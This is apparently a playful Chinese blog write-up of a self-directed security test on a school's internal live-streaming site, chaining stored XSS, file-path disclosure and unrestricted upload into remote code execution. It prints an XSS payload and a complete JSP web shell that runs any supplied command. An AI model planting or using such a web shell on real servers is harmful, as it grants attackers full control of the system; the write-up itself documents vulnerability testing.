🐾前言

雨晴的学校有一套内网直播系统,常用于校园活动直播。雨晴某晚做梦”梦到”自己在测这个站,醒来后索性在某天晚动手实测了一波(・∀・)

homepage.png

(看样子就很简陋呢╮(─▽─)╭)

注册一个测试用户

因为用户注册没有任何限制,所以非常容易就注册好了喵
register.png
ฅ(`ω´)ฅ

1.储存型XSS

登录进来之后进入直播间,评论区直接丢 payload

1
<img src=neko onerror=alert("Neko123");>
xss_trigger.png

立即触发,存储型 XSS 拿下,易如反掌喵

ヽ(*≧ω≦)ノ

2. 任意文件上传 → 路径泄露 → RCE

文件上传测试

发现个人中心有文件上传功能,尝试在上传课件功能点,上传一个测试的视频文件

upload_test.png

(。・ω・。)

上传完成后使用在线预览功能预览文件,同时后台Fd抓包,成功获得文件路径

fd_capture.png

鼠标悬停在下载按钮,发现文件下载接口泄露了测试文件在远程服务器的绝对路径,不过和Fd预览时的抓包结果不太一样喵,感觉要拼接

(´・_・`)

路径拼接

通过对比测试文件在Fd和下载文件接口中的url,推断

1
http://172.16.16.85/resDir/

应该对应远程服务器的

1
D:\userupload

传木马

知道路径拼接规则后,上传jsp一句话木马进行测试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<%@ page import="java.io.*" %>
<%
String cmd = request.getParameter("cmd");
if (cmd != null && !cmd.isEmpty()) {
Process p = Runtime.getRuntime().exec(cmd);
BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
String line;
out.println("<pre>");
while ((line = br.readLine()) != null) {
out.println(line);
}
out.println("</pre>");
br.close();
}
%>

再次通过前文的方法,确定木马在服务器的绝对路径,并按照发现的规则拼接
upload.png
(´∀`)

成功RCE,且拿到系统最高权限

getshell.png

由于是测试,证明危害就可以了,所以就不做进一步操作了

本次测试圆满结束喵~

♡´・ᴗ・`♡